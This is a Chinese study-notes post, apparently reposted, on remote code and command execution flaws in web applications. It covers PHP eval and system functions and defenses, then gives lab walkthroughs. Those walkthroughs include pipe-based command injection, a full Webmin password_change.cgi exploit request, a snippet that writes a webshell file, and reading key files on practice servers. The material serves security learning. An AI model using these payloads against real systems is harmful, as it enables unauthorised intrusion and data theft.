30.WEB漏洞

您所在的位置:网站首页 命令执行漏洞就是代码执行漏洞吗 30.WEB漏洞

30.WEB漏洞

2023-08-06 12:22| 来源: 网络整理| 查看: 265

30:WEB漏洞-RCE代码及命令执行漏洞

参考文章:https://www.cnblogs.com/zhengna/p/15775737.html 本文为博主学习复现笔记

文章目录 30:WEB漏洞-RCE代码及命令执行漏洞思维导图产生原理:漏洞形成条件:可控变量&漏洞函数RCE漏洞危害1、执行系统命令(Windows:DOS命令、linux)2、执行脚本代码(php、java、python)1.代码执行演示写入一句话 2.命令执行演示脚本代码 1.php:代码执行函数:命令执行函数: 2.Python:exec等3.java 代码/命令执行漏洞的查找:漏洞检测相关防御命令执行的防御方法代码执行的防御方法 本课重点案例:案例1:**墨者靶场黑盒功能点命令执行-应用功能****案例2:墨者靶场白盒代码及命令执行-代码分析****案例3:墨者靶场黑盒层RCE漏洞检测-公开漏洞****案例4:Javaweb-Struts2框架类RCE漏洞-漏洞层面****案例5:一句话Webshell后门原理代码-拓展说明**

思维导图

img RCE(remote code/command execute) 远程代码/命令执行漏洞

产生原理:

在 Web 应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

漏洞形成条件:可控变量&漏洞函数

漏洞函数:几种常用语言,都有将字符串转化成代码去执行的相关函数。

RCE漏洞危害 1、执行系统命令(Windows:DOS命令、linux) 2、执行脚本代码(php、java、python) 1.代码执行演示

test.php脚本代码

在这里插入图片描述

eval()函数会将传入的字符串当做代码来执行,若传入phpinfo();则会执行,显示如下

在这里插入图片描述

传入echo 123;也会执行,显示123

在这里插入图片描述 发现漏洞后,后续攻击可以执行一段代码,执行写入文件、读取文件等操作。

写入一句话 $a=fopen("myqf.php","w"); echo fwrite($a,"一句话木马"); fclose($a);

在这里插入图片描述 成功写入进去 在这里插入图片描述

2.命令执行演示

test.php脚本代码

在这里插入图片描述

system()函数会执行外部命令,若传入ipconfig则会执行,显示如下

在这里插入图片描述

脚本代码 1.php: 代码执行函数: 1- eval()(特别注意:php中@符号的意思是不报错,即使执行错误,也不报错。)2- assert()3- call_user_func()4- create_function()5- array_map()6- call_user_func_array()7- array_filter()8- uasort()函数9- preg_replace() 命令执行函数: 1- system()2-passthru()3- exec()4- pcntl_exec()5- shell_exec()6- popen()/proc_open()7- 反引号 `` 2.Python:exec等 3.java

Java:Java中没有类似php中的eval函数这种直接可以将字符串转化成代码去执行的函数,但是有反射机制,并期望有各种基于反射机制的表达式引擎,如OGNL、SpEL等。

代码/命令执行漏洞的查找: 1.代码审计,比如网站使用开源CMS,则可以去网上搜索源代码审计。推荐站长之家:https://down.chinaz.com/2.漏洞工具扫描3.搜索引擎搜索公开漏洞4.手工查看参数值和功能点判断(参数值和脚本有关,如test.php?x=echo 等等)

在这里插入图片描述

漏洞检测

白盒测试:代码审计 黑盒测试: 1、漏洞工具–OpenVAS、Nessus等 2、公开漏洞–寻找类似目标网站的公开漏洞 3、手工看参数值及功能点–判定参数值的数据是否和代码相关

相关防御

1、变量过滤或固定 2、禁用敏感函数 3、WAF产品防护

命令执行的防御方法 1.在PHP下禁用高危系统函数 找到php.ini,查找到disable_functions,添加禁用的函数名 2.参数的值尽量使用引号包括,并在拼接前调用addslashes进行转义 3.不执行外部的应用程序或命令 尽量使用自定义函数或函数库实现外部应用程序或命令的功能。在执行system、eval等命令执行功能的函数前,要确认参数内容 4.使用escapeshellarg函数处理相关参数 escapeshellarg函数会将用户引起参数或命令结束的字符进行转义,如单引号"’“会被转义为”\’",双引号“””会被转义为""",分号";“会被转义为”;",这样escapeshellarg会将参数内容限制在一对单引号或双引号里面,转义参数中包括的单引号或双引号,使其无法对当前执行进行截断,实现防范命令注入攻击的目的 5.使用safe_mode_exec_dir指定可执行的文件路径 将php.ini文件中的safe_mode设置为On,然后将允许执行的文件放入一个目录,并使用safe_mode_exec_dir指定这个可执行的文件路径;这样,在需要执行相应的外部程序时,程序必须在safe_mode_exec_dir指定的目录中才会允许执行,否则执行将失败 代码执行的防御方法 1、使用json保存数组,当读取时就不需要使用eval了 2、对于必须使用eval的地方,一定严格处理用户数据(白名单、黑名单) 3、字符串使用单引号包括可控代码,插入前使用addslashes转义(addslashes、魔数引号、htmlspecialchars、 htmlentities、mysql_real_escape_string) 4、放弃使用preg_replace的e修饰符,使用preg_replace_callback()替换(preg_replace_callback()) 5、若必须使用preg_replace的e修饰符,则必用单引号包裹正则匹配出的对象(preg_replace+正则) 本课重点案例: 案例1:墨者靶场黑盒功能点命令执行-应用功能案例2:墨者靶场白盒代码及命令执行-代码分析案例3:墨者靶场黑盒层RCE漏洞检测-公开漏洞案例4:Javaweb-Struts2框架类RCE漏洞-漏洞层面案例5:一句话Webshell后门原理代码-拓展说明 案例1:墨者靶场黑盒功能点命令执行-应用功能

墨者学院-命令注入执行分析:https://www.mozhe.cn/bug/detail/12

首页打开,输入127.0.0.1,显示Ping的结果,猜测这里可能有命令执行漏洞。

img

输入127.0.0.1|ls,尝试执行ls命令,发现报错“IP格式不正确”。(这里使用了linux命令中的管道符)

img

经过分析,发现是前端代码校验IP格式,可以采用禁用本地JS或者抓包的形式绕过。 我采用抓包 img

下面直接抓包绕过

首先找到flag文件

img

然后读取flag文件

在这里插入图片描述

本关主要是在不知道代码的情况下,通过网站功能点,盲猜有漏洞,并进行黑盒测试。

案例2:墨者靶场白盒代码及命令执行-代码分析

墨者学院-PHP代码分析溯源(第4题):https://www.mozhe.cn/bug/detail/13

首页打开发现提示key在根目录,且给出代码。

,发现有命令执行漏洞 https://tool.lu/coderunner/ 在这里插入图片描述 发现是用a来接收传参数

直接给a传入 ls,显示所有文件。发现key文件。

img

尝试读取key文件,直接用cat读取得到key(需要在源代码中查看),或者使用tac命令读取key(可以在页面直接显示)。

用cat / tac 查看 key

http://219.153.49.228:44533/f.php?a=cat key_181541630618021.php

img

http://219.153.49.228:44533/f.php?a=tac key_181541630618021.php

img

案例3:墨者靶场黑盒层RCE漏洞检测-公开漏洞

墨者学院-Webmin未经身份验证的远程代码执行:https://www.mozhe.cn/bug/detail/309

Webmin是用于类似Unix的系统的基于Web的系统配置工具。该漏洞存在于密码重置页面中,该页面允许未经身份验证的用户通过简单的POST请求执行任意命令。

没墨币,直接本地vulhub 来复现! 在这里插入图片描述

打开页面如下

在这里插入图片描述 在这里插入图片描述

直接网上搜索webmin漏洞,找到远程代码执行的EXP:

POST /password_change.cgi HTTP/1.1 Host: your-ip:10000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Cookie: redirect=1; testing=1; sid=x; sessiontest=1 Referer: https://your-ip:10000/session_login.cgi Content-Type: application/x-www-form-urlencoded Content-Length: 60 user=rootxx&pam=&expired=2&old=test|ls&new1=test2&new2=test2

尝试登录,抓包,将url和参数改为EXP,由于key在根目录下,我们直接“ls /”查看根目录下文件,找到key文件 在这里插入图片描述

img

读取key文件:cat /key.txt

img

该漏洞利用条件:

系统开启密码修改功能存在此漏洞的版本1.882-1.920

修复建议:

升级版本在版本1.900到1.920中编辑/etc/webmin/miniserv.conf,删除passwd_mode =行,然后运行/ etc / webmin / restart,以免系统受到攻击。 案例4:Javaweb-Struts2框架类RCE漏洞-漏洞层面

墨者学院-Apache Struts2远程代码执行漏洞(S2-016)复现:https://www.mozhe.cn/bug/detail/254

S2-016:由于通过操作前缀为“action”/“redirect”/“redirectAction”的参数引入的漏洞。

使用工具直接检测,居然没有发现S2-016,看到有S2-046就直接利用了。

img

ls找到key文件

img

cat查看key文件内容

img 在这里插入图片描述

墨者学院-Apache Struts2远程代码执行漏洞(S2-037)复现:https://www.mozhe.cn/bug/detail/262

直接网上搜索EXP利用

ls找到key文件

img

cat key.txt查看内容

img

案例5:一句话Webshell后门原理代码-拓展说明

常见的一句话木马:

php的一句话木马: asp的一句话木马: aspx的一句话木马:

一句话木马的本质是向服务器写入了一个代码文件,而这个代码存在代码执行漏洞。

而菜刀的原理是,提前写好了各种脚本,利用一句话木马中的代码执行漏洞,实现对服务器的增删改查。

用WSExplorer 对菜刀进行流量分析 在这里插入图片描述

其他涉及资源:

JAVA web网站代码审计--入门:https://www.cnblogs.com/ermei/p/6689005.htmlhttp://leanote.com/post/snowming/9da184ef24bdhttps://www.cnblogs.com/-qing-/p/10819069.htmlhttps://www.mozhe.cn/bug/detail/RWpnQUllbmNaQUVndTFDWGxaL0JjUT09bW96aGUmozhe 命令注入执行分析

https://www.mozhe.cn/bug/detail/T0YyUmZRa1paTkJNQ0JmVWt3Sm13dz09bW96aGUmozhe PHP代码分析溯源

https://www.mozhe.cn/bug/detail/d01lL2RSbGEwZUNTeThVZ0xDdXl0Zz09bW96aGUmozhe Webmin未经身份验证的远程代码执行

https://blog.csdn.net/LYJ20010728/article/details/117349106



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3